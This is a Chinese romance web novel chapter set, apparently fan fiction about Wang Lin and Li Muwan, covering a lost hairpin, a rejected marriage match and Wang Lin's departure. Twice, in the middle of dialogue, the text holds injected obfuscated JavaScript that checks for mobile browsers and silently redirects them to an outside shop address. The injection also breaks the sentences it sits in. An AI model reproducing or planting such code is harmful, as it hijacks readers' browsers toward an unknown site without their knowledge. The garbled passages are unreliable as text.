李慕婉再退时,右脚踩空,整个身躯往后倒,人影消失在王林视线里,李慕婉后仰的一瞬间抬手想抓王林,却没来得及,在慌乱间陡然一只长臂伸过来抓住她,将她拉回来,可王林站的田埂由于重量下陷,导致人失去了重心,不由要跟着往下坠。 就在贴近田里时,李慕婉只觉身体腾空,与王林调了位置,王林整个人落近田里,将那片水稻压折好几株,他一只手往后撑,五指陷入泥泞,另一只稳稳护着李慕婉,李慕婉压在他身上,双臂下意识的紧紧搂着他脖颈,没碰到泥土,只是裙摆染湿了些许。 两人就着这个姿势,贴得极近,王林似乎能触感到胸前的柔/软,随着惊吓后的呼吸阵阵起伏,像猫抓了一般,脖颈上停留的气息温热,只是须臾就被夜间的寒凉驱散,她仿若还能闻到他身上残留的酒香,淡淡的,热热的。 时间仿若静止,不知过了多时,李慕婉站在小道上,垂着双手静静看着王林拧干衣摆的水,后背往下整片都是湿的,带他清理完手上的泥,才装作无事,淡然对不远处无辜的李慕婉说:“你可有伤了?” 这事本也不怪她自己,若非王林紧逼,她哪会退到田里去,还压着他身上起不来。 “没,没有。”她摇了摇头,发髻如银河散落,披在肩头,清月下照得她柔和的面容无比清冷。 李慕婉拂过发丝,想重新挽好长发,手在头上摸索了几下,空空如也。 她心头一紧,呢喃道:“簪子呢?” 王林这才注意道她头上压根没有簪子,经过方才那阵动静,发髻才散下来,刚从田里出来的他又迈进去,弯下腰摸着,找了半个时辰,也没看见簪子。 耽搁了不少时间,已过子时了,李慕婉回想着整夜所到之处,簪子不是掉田里的,或许在看台拥挤时不知何时掉了,又或者去醉风馆的路上,若想要寻,也寻不到了。 见王林热心扑在田里替她寻,什么也没说。 “此处没有,应是路上就掉了,”王林直起腰,带着李慕婉看不见的疲惫说,“这簪子很贵重?” “这是我娘留给我的……”李慕婉心情低落,知道他全身湿透了,贴着身子容易着凉,又不想他费心,“阿兄不必找了,应是先前人多掉到庙前的看台上,此时若去怕也寻不着了。” 王林没说什么,看烟火时他站在身后还看见那支发簪,之后确实没印象了。李慕婉披着发,沃野千里,空旷田野上风荡在麦浪里,连同李慕婉的发被搅散,打在面颊。 王林看着她一直在拨弄发丝,走了一段路,从路边随手折了桃枝,摘了叶子,将那不像发簪的枝木递给她。 “呐。” 李慕婉侧眸,虽不知他何意却乖顺接过,“阿兄这是?” “把头发挽起来,”王林说,“将就用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731759|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,明日给你刻一个像样的。” 见他难得温柔,说话语气都比平时轻,李慕婉嫣然一笑,黑眸倒映了月色,“多谢阿兄,那婉儿能不能提个要求?” “什么?” “簪子上雕一朵莲花,可好?”她明媚道,仿若将适才丢了簪子的失落抛之脑后,她情绪来得快去得快,即便心有郁闷,也不会带给旁人,只会藏起来,自己慢慢消化。 “嗯。”王林遐想,这莲花倒是与她相称。 回到竹林小院,院子梅枝上留了灯笼,照着院落,微光引路,李慕婉回到东厢房,重新换了寝衣,洗漱后便上榻了,今夜发生了许多事,她早泛有困意,没躺下多时,脑子里不断闪过今夜发生的事,不知不觉入了梦乡。 睡梦中好似听见了后厨物件翻动的动静,应是王林洗浴才出来,丑时过后,一道身影出了小院。 直到翌日天见熹微时,西厢房才有了动静。 周英素一大早见着院里晾晒好的衣裳,是王林昨夜换下的,西厢房的人才眯了半个时辰,周英素见人未起,敲了两声关切道。 里边传出的声音沙哑,“娘,我再睡一会儿,早饭别喊我了。” “好。”周英素摇摇头,“这孩子,昨夜做什么去了。”王林不是好懒的人,平日极少晚起。东厢房的李慕婉支起窗,见周英素从西厢房过来,她临着窗问好。 “周婶早。”李慕婉还挽着昨夜那支桃木。 “婉儿起啦,”周英素走过去,“昨夜你二人一块回来的吗?” “是,周婶,回来快丑时了。” 她看着院里晾晒的衣裳,问道:“这是你回来洗的?” 李慕婉看了看,样式是昨日王林穿的那件,“是阿兄自己洗的,婉儿回来便睡下了。” 她没敢说二人掉进田里的事,只能草草答一句。周英素慈爱道:“家里没啥活要干,你再睡会不妨事。” 吃过早饭李慕婉晾晒了药草,收拾院子又打理花草,正堂与东厢房的花筒重新插上鲜花。周英素见她忙上忙下捣鼓不停,头上斜斜插着根木枝,不免问道:“婉儿,你怎么用根木头就挽发了?” 李慕婉拈花一笑,“昨夜人太多,把簪子弄丢了,妆匣里还有呢,只是婉儿没去拿,先用着,晚些再换不妨事。” 她心里记着昨夜王林给她承诺的莲花簪子,这桃木枝她也不想舍弃。 王林日中才醒,昨夜送李慕婉回来后换了衣裳又出去了,那支簪子是他从庙后一颗树下寻到的,落叶盖住了大半,只有一边莲花形状露出,若非如此早就被人捡了去,他从褥枕下拿出那支发簪,上边的花瓣断了一截,应是被人踩断的。 待他醒完神,将那支发簪放到柜里,旁边还有李慕婉送的笔匣和她的木雕小像。 周英素给他留了饭菜,王林简单吃了些,见东厢房门紧闭,李慕婉也未见踪影。他从院里砍了枝粗壮些的树枝,取中间一段,入了堂屋。 “儿啊,你昨夜跟婉儿一块回来的?”周英素问。 “是,娘,怎么了?”王林拿起一把刻刀,回的很是随意。 周英素从谢三婶那听说了,昨夜他见过叶清儿,此番正想问他意愿,“听说昨夜你跟叶清儿见过面了?” “娘是如何知道的?”王林还以为是李慕婉同她说的。 “娘去谢三婶那了,她跟娘说的,你觉得如何?” 王林本也要提这事,既然知道了,他索性一并提了:“爹,娘,儿还不想成婚,与叶家的事推了吧。” 17.推脱 “让二老为孩儿操心,铁柱不孝,”王林放下手中刻刀,跪了下去,压着木碎飒飒作响,“儿一定会考取功名,到时候定会带个好媳妇回来。” 王天水吐出一缕烟雾,“铁柱长大了,有自己的想法。” “你可是不喜欢叶家姑娘?还是看中了哪家姑娘?”周英素询问道。 “也罢,铁柱若考取了功名,在京城谋了官职,到时候不愁没有好姑娘,孩儿他娘,晚些我们去一趟谢三婶家,好好谢谢人家张罗,此事是我们家做的不对,也当登门以表歉意才对。”王天水扶起他。 “爹,娘,铁柱陪你们一块去。” 王天水拍了拍他肩头:“铁柱你在家温书,听爹娘的,婉儿出去了,你等她回来,过几日这批木雕完工后,我同你娘要去一趟县城。” “去县城做什么?” “你四叔给你爹接了一批木雕单子,工期急,县城离家又远,索性搬去那,娘得去照顾你爹起居,还能帮衬些,铁柱你在家好好温书,跟婉儿也要互相照顾,咱们家既收留了她,就得对她负责,人活一世,不求大富大贵,只求心安理得,你可明白?” “娘,孩儿知道。” “婉儿出去了,晚些若是回来,你别总凶她。”周英素教训的语气,却满脸慈爱。 王林摸摸脑袋,像是受了训,“我哪里凶她了。” “好了好了,走吧,再迟就晚了。” 二老出去后,王林专注手上的活,两个时辰后,一支桃木簪雕得栩栩如生,通体油亮,那朵莲花半开状的,惟妙惟肖。 身上落了许多木碎,王林起身将屋里的杂物收好,又扫净了木碎,院里栅栏推了,李慕婉像孩子一样,往院里喊:“周婶,王叔,婉儿回来了。” 她又朝西厢房去,见门掩着,以为王林在里头温书,“阿兄,你在里边吗?阿兄?” 王林立在堂屋前,日光打在发梢,发带随风扬起,“在这。” 李慕婉额头冒着细汗,发鬓打湿了些,贴在脸侧,王林见她气息微喘,“你做什么去了?” 李慕婉衣袖擦着汗,扬唇道:“去花溪村看房子了,王浩和花影陪我一块去,我觉得成,租契明日去签,只是,明日我要去镇子等哥哥的信,明日有一批行商到清平镇,我想去看看。” “那你租契怎么签?”王林步入堂内,坐了下来,随手倒了杯冷茶,移到李慕婉跟前。 李慕婉跟着对面坐下,端了茶润口,“王浩说替我去签,也只能麻烦他了。” 婚事成不了,她也没必要再搬出去,只是王林没提,只将那支桃木莲花簪递过去。 “呐,你的簪子。” 李慕婉欣喜接过,爱不释手打量着,喟叹道,“阿兄这么快便雕好了?阿兄的手艺当真细致。” “随手雕的,不是什么精细物。”王林看见她头上还是昨晚那支树枝。 李慕婉察觉他的视线,有些不好意思,取下那支桃木枝,重新捋发后挽起簪上,“阿兄,好看吗?” 王林愣了须臾,看似漫不经心轻咳了两声,“嗯,喜欢就好。” 她本就生得好看,清澈明亮的眸子似装满星辰,眨一眨眼,眼波流转,半开的莲花仿若盛放。 “喜欢,”李慕婉抚着发簪,“只要是阿兄送的,婉儿都喜欢。” 王林面色坦然,耳后根却不自觉红了彻底,李慕婉见着人影已经出了正屋,回到西厢房。 王林坐在长木桌前随手拿了本书,翻了几页也看不进去,上午睡的一觉,下午坐那刻了两个时辰,眼下又是犯困,想起李慕婉送来的提神香,他点了一支,看了半个时辰书。 李慕婉进来添茶时,只见王林趴在长木桌睡着了,她很少见他温书时打盹,门是半掩的,她推开时动作轻到极点,生怕弄出动静。 待放下茶壶,又去屏风后衣架拿了件外袍,他的衣裳拢共就那几身,虽只是麻布素衣,可穿在身上却甚好看。 盖袍子的动作也是极轻,见王林没有反应,李慕婉这才松口气,替他将书案拾掇好,也没有离去,就在屋内坐着。 屋子静的能听见王林轻微的鼾声,看得出来他是困急了,不若不会李慕婉在屋内做了这么些活也没醒。 她是第一次敢这么明目张胆的窥视他,打量他,平日正视他也只是一扫而过,不敢多看。 他五官生得俊朗深邃,鼻梁高挺,睫羽浓密,唇瓣适中,血色红润。李慕婉看得出神,忍不住抬手轻触,鼻尖触感冰凉,肤色白皙,睡着时书生温润的清朗气质越发明显,她便像欣赏一株高山雪莲,思绪纷繁。 不知过了许久,李慕婉才收回视线,小心翼翼离开西厢房,她将那支桃木枝插在一个小瓷瓶里,放在妆台一角,又折了支海棠点衬,为简谱的房间添了几分雅致。 王林宽肩微动,外袍下滑落地。他直起身躯,打盹前看得那本书叠放书案,伸手捡起落地的外袍,水杯的茶是满的,书案整齐划一。他便知晓是谁来过了,大掌端起杯,浅酌几口润喉,屋外日光下沉躲入西山,远处山前环绕了只山鹰,久久盘旋。 王天水和周英素回到家中,眼泛疲态,王林备好饭菜,李慕婉替他打下手,饭菜做得简单,一锅稀饭,几碟小菜和一盘时蔬,王林没有问也知道爹娘把事办成了,可饭桌上谁都没提,李慕婉并不知此事。 *** 翌日李慕婉上镇子等回信,出门没多时,王林拿了那支捡回莲花簪后也出了小院。李慕婉在木雕铺子等到下半日,来往的商船已经停了,码头闭港,可却仍是没有燕州来的信。 不知不觉已过了三个月,竟一点音信都无,奈何李慕婉再乐观,也难免担忧起李奇庆的安危。若他回到燕州,想必也同自己一般急切寻着音信,思及此事,李慕婉更是低落。 一日的希望随着时间流逝一点一滴消耗殆尽,积累了整日的失落和委屈来势汹汹。 哥哥没有音信,娘的簪子也丢了,霎时间心头酸涩难忍,眼眶泛起水光。她在镇口往王家村方向走回,每走一步都越发沉重,渐渐地水光凝成滴,似珍珠断断续续掉落,浸湿了衣袖滑落至手背。 她哽着声音,不敢哭出来,口中尝到一股咸涩,忽的肩头触感传来,听见熟悉的声音叫了她一声。 “李慕婉!” 李慕婉本能转过身,对上那人视线时,一滴晶莹剔透的泪珠不自觉滑落,“嗯?阿兄?” 不知怎的,见着王林这刻,积攒已久的情绪崩决,断断续续的泪点汇成洪流,她哭的更是委屈,她越想忍住克制,却发现越是难以隐忍,哽咽声逐渐放大转而抽泣。 “你,怎么了?”王林不知所措,见她哭得凶,不由面露焦急之色,“可是有人欺负你了?” 王林的话音轻柔,如同哥哥那般温暖,她不知他为何出现在这,但是看见他那刻,她便想释放身上的压力,委屈难忍,哭着可怜,“阿,阿兄……我,我没有哥哥的音信,我找不到我哥了……” “婉儿,婉儿寄了那么多封信,一封都没有,没有……哥哥会不会,会不会出了什么事?” 他就定定站在那,目睹自己哭,王林不会安慰人,她面颊淌满了泪水,他犹豫良久,终是抬手,用衣袖替她擦了泪,“你兄长一定会平安无事的,没有消息也算是好消息,你再耐心等等!” 李慕婉仍是不停,哭声越发响亮,路过的人时不时投来目光,像是王林把人家怎么了似的。王林被注视着浑身不舒服,只能哄道:“别哭了,你兄长也不想看到你这般伤心。” “是我没用,倘若当初没有被劫匪掳走,就不会与哥哥走散,连娘亲留给我的簪子也弄丢了,婉儿太没用了。”李慕婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735609|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭着说,难得见她这般伤心又不遗余力的表露。 “不是你的错。” “阿兄,你,你怎么在这?”她倒是没哭糊涂。 “来镇上办点事,”王林见她情绪有所缓和,“回家吧,回去好生等着音信就是,你兄长吉人自有天相,别多虑。” 李慕婉擦干泪,抽泣也止住了,只是时不时还会哽咽两下,她当真是不想哭了,可却是抑制不住。 “嗯,阿兄,我想坐马车回去,还得去王浩那把租契拿回来。”哭过了正事也不能落下。 “嗯,”空的马车没有,都已坐满了人,王林只能拦下一架牛车,“不用去拿租契了,房子我给你退掉了。” “哈?”李慕婉刚收回的情绪又要溢出来,见状王林解释说:“跟叶家的婚事不谈了,未考取功名前,我不会考虑成婚的事,你只管安心住下,什么时候李兄来接你,你再什么时候离开。” “不谈婚事了?”李慕婉声音沙哑,还有哭腔,说着又要哭,“是不是因为婉儿还住在这,叶家才不同意?” “我能搬走的,阿兄……” 眼看又要哭,王林深吸口气,生硬道:“不许哭,不是因为你,爹娘昨日已经拒了。” 李慕婉才想起前夜他在自己跟前说不喜欢叶清儿,“那,那你……” 她肿着眼睛呢喃着,却不知要说什么,王林只是静静看着她,见她模样有些可爱,又让人心疼。 “眼泪收回去,待会回家娘看见你这副模样,还以为我欺负你了。”王林这话是故意逗她的。 李慕婉忙擦干余泪:“没,阿兄没有欺负我。” ******************* 李慕婉近日打坐时总会回想起那日脑中苏醒的记忆,饶是自己再努力,记忆也是模糊,无法再往下探查。 湖心亭上她的琴音中带着愁丝,二百年来,这记忆都没有苏醒,可自桃林里使用了窥视镜后,记忆才有所复苏。王林不得不探究其中,难不成当真如李慕婉所说,这是窥视镜的反噬作用。 他负手而立于莲花池窥视镜下,窥视镜透出的灵力无比强大,自隐居之后灵力便收复自如,这些日子他也自有体会,自身体内灵力攀升太快,以他修为大可全然吸收不受影响。 他注视着湖心亭抚琴的背影,面露担忧之色,“许是婉儿受了这窥视镜内的灵力波动,是以才会记起那些陈旧记忆。” 李慕婉仅仅是记得他自断生机只为复活自己,便已陷入痛苦深渊,可若是她继续想起更多的,王林想到此处,断断不会让这种事情发生。 旋即,他双十合印,指尖现出金红色光圈,光圈波动不断上升,一道禁制隔绝了窥视镜所散发出的灵力。 琴音即止,李慕婉缓缓起身,瞬移到王林身旁,眼前的上古禁制复杂,就连精通阵法的她也叹为观止,“师兄,为何要用禁止隔绝窥视镜啊?” 王林收决搂过李慕婉腰肢,“婉儿,我知你不忍,那些记忆早已是千年前之事了,你不要想,这窥视镜灵力太过充盈,启动后泄出的灵力庞大,你可有觉着这些日子修为有所提升了?” 李慕婉闭目感受,确实是有这种感觉,她原本没太在意,只因王林这二百年都在助自己吸收稳定灵力。 “确实如此,可用禁制隔绝就可以了么?”李慕婉隐隐觉得体内变化并非是受窥视镜泄出的灵力所影响,至于那些记忆由来,本应是王林的,她拥有了他的记忆…… “婉儿。”王林搂腰的手越锢越紧,他神色里漫出的柔情带了无尽的疼惜,李慕婉受到一股热流,身子轻盈瘫软,天幕中桃花洒落,粉色弥漫整个莲花池。 王林带着人瞬移到二人寝榻,是轻柔的反复厮磨,轻纱帐内红潮滚动,掩盖了风月事,却掩盖不了轻帐里散发出的灵气,修为还在攀升…… 18.独处 牛车上几位大叔在粗犷的谈论着风流韵事,李慕婉望着田野麦浪。 “我说老张昨夜去了青粉楼一夜不归,早晨醉醺醺的躺在院里,一大早我就听见他们家院子里闹得鸡飞狗跳,他家媳妇太厉害了。”其中一位大叔调笑。 “那可不就是,他家媳妇做女工辛辛苦苦攒的钱给他去进些粮,他倒好,转眼就给自己享受上来,别说他媳妇,若我媳妇知道了,也得扒我一层皮啊。” “那些姑娘水灵的,那叫一个销魂,扒一层皮也值了。”另一位大哥垂涎回味的模样。 王林是书生,对这些艳语心生不屑,偏过头视线越过李慕婉头顶,望着远处的霞光。本还担心她听了这些会有不适,却见她心神不在此处,想必还是担心兄长之事,无心听得外界纷扰。 牛车一颠一颠的,大伙身子跟着晃动,李慕婉坐不稳,险些往前栽,前边几位大叔笑得声大,这才恍然察觉身后还有小姑娘在,对王林点了点头有些尴尬,那些人嘘嘘噤声。 陡然车轮滚过一块石头,左侧颠簸起伏,李慕婉重心前倾,就要靠上前面大哥身上,王林眼疾手快,伸出手将人捞回,挡着她下压的身躯,近在咫尺,若他晚一些,李慕婉可就到那大哥怀里了。 李慕婉惊魂未定,还未反应发生何事,王林心跳难平,鬓间冒了汗珠,仿若有种劫后余生的心慌。 “阿兄?” “坐稳了。”王林松了手,却未收回,手还抵在车沿成了一道防护墙,生怕她再次栽出去。 那大哥见势他的紧张,不禁调侃:“小哥看着清秀,这是家中小妹吧,看着娇俏柔弱的,这路颠簸,可得护紧了。” 王林瞧着他那副要打量李慕婉的架势,侧了侧身,把李慕婉遮了一半,未理会他。 良久李慕婉仰头望着他,怔怔问:“阿兄,青粉楼是做什么的?” 王林俯首看她,见她问得真诚,眼波流转间散着一股天真。 “喝酒的。”他答的很含蓄。 “哦,”李慕婉收回视线又看向道路一旁,想到什么后又转回来看着他说,“与咱们去的醉风馆一样么?” 王林暗暗叹了口气,她这问题怎得这般多。 “阿兄?”见他不理会,李慕婉又喊了他。 “嗯,一样。”王林眨了眨眼,一本正经道。 “那咱们改天叫上花影他们一块去。” 王林抬手推开她靠近的头,把她那天真的模样对过草野,敷衍道:“以后再说。” 对面侧着的大哥隐隐作笑,逗着李慕婉:“小丫头,你阿兄唬你的,青粉楼就是春楼嘛,男人寻欢作乐的地方,你一个女子怎能进嘛,哈哈哈哈。” 李慕婉听后才觉适才要羞愧死了,原本哭过的眸子好似又要红。 “你阿兄说不定已经去过了。”那大哥瞧她那股委屈娇娇柔柔的劲儿更是忍不住逗笑。 李慕婉神色带疑,瞟了一眼王林,那眼神就像是在问他,去过吗? “停车!”王林忍无可忍,眼神犀利瞪过那位大哥,大哥随即收声。 牛车还未停稳,王林已经纵身跃下,他双臂伸开,对着李慕婉道:“下来。” 李慕婉想也没想,扶着王林下车了。 牛车走远,二人身影落在田道上,李慕婉声音带着哑:“阿兄,这走回去还有段路呢,为何要下车啊?” “不想坐了。” 李慕婉不知他为何情绪变了,又追着问:“那阿兄当真去过青粉楼么?” 王林呼吸一滞,忍耐道,“你认得那几人?” “不认得。”李慕婉乖巧回。 “那旁人随口胡诌的话也值得你逮着我问?”王林睨着她,“你觉得呢?” “阿兄不是那种人。”她心神不定道。 “不是哪种人?” “轻浮浪荡,纨绔子弟……”李慕婉喃喃自语,晚风一吹,好像那不好的情绪正在流失。 一路上李慕婉抽抽搭搭,回到村口她的情绪已舒缓好多,王林走得并不快,李慕婉这才理着事因,“阿兄方才说把婉儿的房子拒了,是?” “我让王浩带我一块去的,也是爹娘的意思。”她的声音还能听得出哭过的沙哑。 “你好些了吗?”王林回头关切着。 “嗯,让阿兄担心了。”李慕婉吸了吸鼻子,将碎发捋顺。 夜里王林特意留了门,李慕婉每日这个时辰都会来看书添茶,王林将那樽雕刻的小像拿出来,放在她跟前,本没打算就此拿出来,只是今日她哭得着实厉害,他便当哄她了。 他不会哄人,但知道小孩若是哭了,给点吃的玩的总能哄好,“你要的木雕。” 专注看书的李慕婉怔愣了下,随即看见一个小人木雕与自己模样一致,她雀跃拿起端详着,璨然一笑,“嗯?这是我?” “嗯,爹让我雕给你的,手艺不精。”王林有些难为情,视线看向别处。 李慕婉开心得将那烛台拿过来,照着木雕想看得更仔细些,上面纹路清晰,五官刻得生动,就连头上那支莲花簪上的花瓣数量刻的都与她丢的那支一样。 “阿兄太谦虚了,你这手艺我还以为是王叔雕的呢?”李慕婉沉浸在惊叹里,他若是不考功名,凭这木雕手艺也能安身立命。 “阿兄刻得可真细致,”李慕婉爱不释手,宝贝极了,“你看,裙角上粘的木碎。” 她指着木雕的衣摆处,那是她第一次到王家,立在院前时等王林求二老收留的模样。“这衣裳是婉儿来家里的第一日,阿兄刻的是这时候的我,可对?”她睁着圆眼,一眨一眨看着王林,就宛若儿时答对了哥哥出的诗文,等待奖励一般。 王林低头默认,“嗯。” “阿兄何时刻的,我怎么没看见。”李慕婉把白日的阴郁抛之脑后。 “你整日不是外出就是上山,如何看见?”王林端坐回位置,拿起一本书翻起来。李慕婉将木雕好生放在一旁,主动与他谈论起诗文,王林也没扫她兴致,白日她哭得撕心裂肺的场面历历在目,就当是哄她了。 李慕婉出的题王林都能轻而易举答上,同样,王林出的题李慕婉不仅答得好还有理有据,王林就在这几番试探下,确定她并非普通人家女子,普通人家女子上学尚成问题。 若非天赋异禀,天纵奇才,又怎能无师自通,她那些逻辑和依据都是受过强悍系统的教授,才能潜移默化形成的,定然是经过德高望重的学府受教而成。 她在京城生活,京城最有名的书院便是百松书院,而这百松书院闻名天下,非世家大族,皇亲国戚不能进,非天赋异禀,旷世奇才所不能入。李慕婉聪慧,饱好读书,学富五车,加之言行举止,性子处事无一不再透露她的身世并非常人。 二人谈论到亥时,灯油烧尽,屋内被黑暗吞噬,两人才恍然从对弈中清醒,李慕婉意犹未尽,许久不曾如此酣畅淋漓,以前也总是与哥哥这般对弈,每次哥哥都胜她三分,也有偶尔那么几次是她占了上风的。 “灯油尽了,阿兄勿动,婉儿去添。”李慕婉在黑暗里摩挲,不慎磕到一角,吃痛间不由倒吸口凉气,王林听得动静,怕她摔了忙不迭起身朝声响处去,这屋子他住了十几年,即便是没有灯,闭着眼都能清楚知道如何走,李慕婉不同,他暗自责怪适才该是自己去添灯火才对的。 “怎么了?”王林气息微急。 李慕婉察言道:“无碍,阿兄不必过来。” 王林定在原地等了片刻,只听见她在案桌上摸了几下,又碰到些置物,王林怕砸到她,便只能走过去,“我来吧,这屋子东西摆放你没有我熟悉。” 声音浑厚有力穿透黑夜,给了李慕婉些定力,她便站后几步,在让出位置给他站,却不知王林正好往同一处去,李慕婉额头磕到一处坚硬,只听得咯噔一声,撞到他下颚了。 李慕婉猛然抽身后退,又撞到桌案,王林伸手下意识去捞人,长臂搂到软腰,将人往自己怀里带,两人都猝不及防。 暗夜里看不清人,面色涨红的二人僵硬不动,只能听见彼此紧促的呼吸声,温热的鼻息呼哧在他脖颈里,李慕婉闻到浅浅的皂角香里夹杂了些提神香的气味,她很喜欢这种味道,让她很是有安全感。 王林率先松了手,身上余香阵阵蔓延:“站好别动,我去点火。” “好。”李慕婉身子僵硬,再也不敢乱动。 只听见王林走了几步,还有拉屉的声音,随后火折 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“阿兄早些歇息。”李慕婉快步走到黄花梨长木桌前,背影略带窘迫,拿了木雕小像走到门口又顿住,在门口静了几息,又走回来,看见王林正虎视眈眈审视这自个,她口齿不利去解释,“我,我医书忘了拿。” 王林俯身捡起她的书,走了两步送到她跟前,李慕婉拿了书提溜往外跑,有点落荒而逃的意味,那人难得一见嘴角挑起一抹邪笑。 *** 清晨李慕婉被鸡鸣吵醒,一束晨阳入屋,晃了李慕婉的眼,她翻了个身,睁眼时便瞧见那张普通木桌布置的妆台下,一个木雕小像栩栩如生立在那,李慕婉睡意散开,坐起身子,撑着一只去拿了小像,又躺会位置,抚摸上面的纹路。 这小像带了一股木质味道,许是王林屋子现在点提神香,木雕上也染了气味,闻着这股味道,就好似那人凌厉的眼神近在咫尺,这让李慕婉无意想起昨夜的糗态。 脸颊顿然泛起红晕,过了半刻钟,她起身将小像放回原位,支起了窗,看见王林在院里帮忙劈柴,他身形出众,腰身笔直,即便布衣也难/掩/藏/独特的气质。 周英素在厨房忙碌,时不时与他闲聊,朝晖打在他侧脸,与母亲谈话的他没有那股锋利,正直温润少年郎一般,让李慕婉情不自禁想到几句诗:陌上谁家年少,足风流。言念君子,温其如玉。 李慕婉梳妆,自从王林刻了那支桃木簪,她便日日带着,喜欢得紧。 院子里王林收拾了柴堆,解下手里缠的绷带,放入木盆里,周英素声音压低了些,试探问道:“铁柱,昨日你去镇上了?” 王林搓洗着绷带,抬头看了看她,“是啊,去书屋给人写信去了。” 每个月,偶有两三天他会到镇子替人写信,代笔的工钱若是人多,一日也能收不少银子。不过他昨日只在书屋待了半日,上半日去花溪村退了房子,下半日去镇子代笔后,又去了几家首饰铺子。 李慕婉那支莲花簪捡回来时坏了,他便寻铺子看能不能修好,簪子是问了几家后,最后一家才说能修,金镶玉的莲花簪,坠着些流苏,流苏也断了,要恢复原样也不是易事,好在还能修复。 “婉儿也去镇上了,怎么听说她昨日哭了?还哭得厉害,你是不是又凶她了?”周英素寻思道。 王林说:“娘怎么知道她哭了?听谁说的?” “今早出去,村里人见着我就问,”周英素给他木盆里换了水,“说看见你二人在镇口回来的小道上站了好久,婉儿还哭了,到底是怎么回事?” 昨日好些人盯着他们看,想必就有王家村认识的,回到村里就传,二人想要隐瞒的事当真一点藏不住。见母亲已经知晓,王林便不再藏,免得母亲多心。 “她去等她哥的信,没等到,该是急了,一时半会想不开,哭过就好了。”王林淡淡解释道,绷带洗过的水混浊,映着他清晰的轮廓。 “唉,”周英素长叹一声,“两日后我跟你爹就要去县城了,到时候你二人在家,要好好的,娘给你留了银子,温书累了就带她去镇上走走,她一人去等信,等不到自然是要失落的,有个人陪着也能倾诉一些。别让爹娘担心你们。” “知道了,娘。”王林甩了甩绷带,水汽蹦在轮廓上。 19.牵连 烈日灼热,王家村迎来盛暑,因天气炎热村子里上山的人少之又少,但是李慕婉知道有些草药喜热,盛夏才能采到,隔三差五也会上次山,其余时间去镇上等音信,要不就帮着周英素做女工。 周英素和王天水去了县城,家中就只剩下二人,李慕婉拍着胸脯与二老保证:“王叔周婶,你们放心去,阿兄有我照顾呢,决计不会饿着他。” 王家都知道她不会做菜,也是宠溺的任她闹着。 “好好好,有婉儿在,周婶是放心的,”周英素拉着她手不忘嘱咐,“若是还没有兄长的信也别急,安心住着,倘若铁柱哪里做的不好,等婶回来训他,你别自己受委屈。” “娘,”王林声音拉长,“我怎会跟她一个女子计较,孩儿您都信不过么?” 王天水笑笑,“好了好了,走吧,不然赶不上了。” 送走二老,李慕婉坐在院里摆弄着海棠花,嘴里念着:“王叔和周婶怎么提前去县城了?” 王林经过她,若无其事应道:“早些去也能早些回来,赶完工便回了。” 海棠花枝垂下,李慕婉深深叹了口气。王林在一旁缠着手里绷带,见她神不守舍,“怎么?当真怕我欺负你?” “啊?”李慕婉想的不是这个,见王林缠着手里的绷带说得随意,只以为他是逗自己的。 她折下几支海棠,走近王林:“阿兄缠这个,是要出去吗?” 王林低头没看她,“嗯,镇上木雕铺的掌柜,请我去给他家小儿子讲学,你自个儿在家。” 她插好手里的花,思索着,“阿兄也要出去,那阿兄几时回来?婉儿做好饭等你。” “不用,”王林进了屋子拿了事先备好的包袱,“我在他家住,你自己在家顾好自己就成。” “你不回来?”李慕婉声音急切,“讲学也不能十二时辰不间断学呀,况且即便学堂上课,酉时也下学了,你酉时从镇子回来天还不会黑。” “已经讲好了。”王林要走。 李慕婉追上去,有些委屈,“阿兄,我自己一个人在家,婉儿有些害怕。你能不能回来……” “你夜里锁好门就是,村里不会有什么事的。”王林停下脚步,看了看她,“你自己一个人若是不想开火,去谢三婶家,我打过招呼了。” “嗯?”李慕婉思量不对,他早就安排好了,适才还答应周婶两人相互照应,转眼就把她一人留在家中,还早早就安排好她的吃住问题。 见她反应过来,王林不动声色地绕开。 “那阿兄,你要几时才回来?” 李慕婉看着远处田埂的身影,王林没回头,抬手朝身后人喊了句:“两个月。” 两个月?王天水和周英素去县城最快也要两个月回,镇子的书院放暑假,掌柜的这才要王林去帮小儿子补习。 李慕婉日中去了花影家吃饭,谈及此事,一直郁郁寡欢,谢三婶见她食不知味,担心饭菜不可口。 “婉儿,可是不合胃口?” 李慕婉连忙摇头,夹了些菜,“不不不,三婶的厨艺很好。” 花影搁下碗筷,打量她,“你怎么了?可是因为家中只剩自己不习惯啊?” 李慕婉微微点头,“我阿兄去镇上讲学,也要两个月才回,王叔周婶在县城路途远,省时间不回情有可原,镇子到村里也不是那么远,讲学时间宽裕,他事先也没同我说,走时才说让我一个人在家。” “婉儿啊,”谢三婶说,“你说家中二老都不在,就你们二人同住屋檐下,你虽叫铁柱阿兄,可无论名义上还是血缘上都非兄妹,铁柱是读书人,他心思也细,定然是怕孤男寡女,让人议论,这才要在镇子上住的。” “说回来也是为你的名声考虑。” 李慕婉恍然,“是这样吗?” 花影在一旁直点头,安慰道:“你若觉得一个人闷,在我家睡呗,或者我去陪你?” 花影最近也要忙女工,谢三婶接了好多活回来,盛暑期不上山,也就指望这些女工活补贴家用了。考虑到怕影响她休息李慕婉只能婉拒。 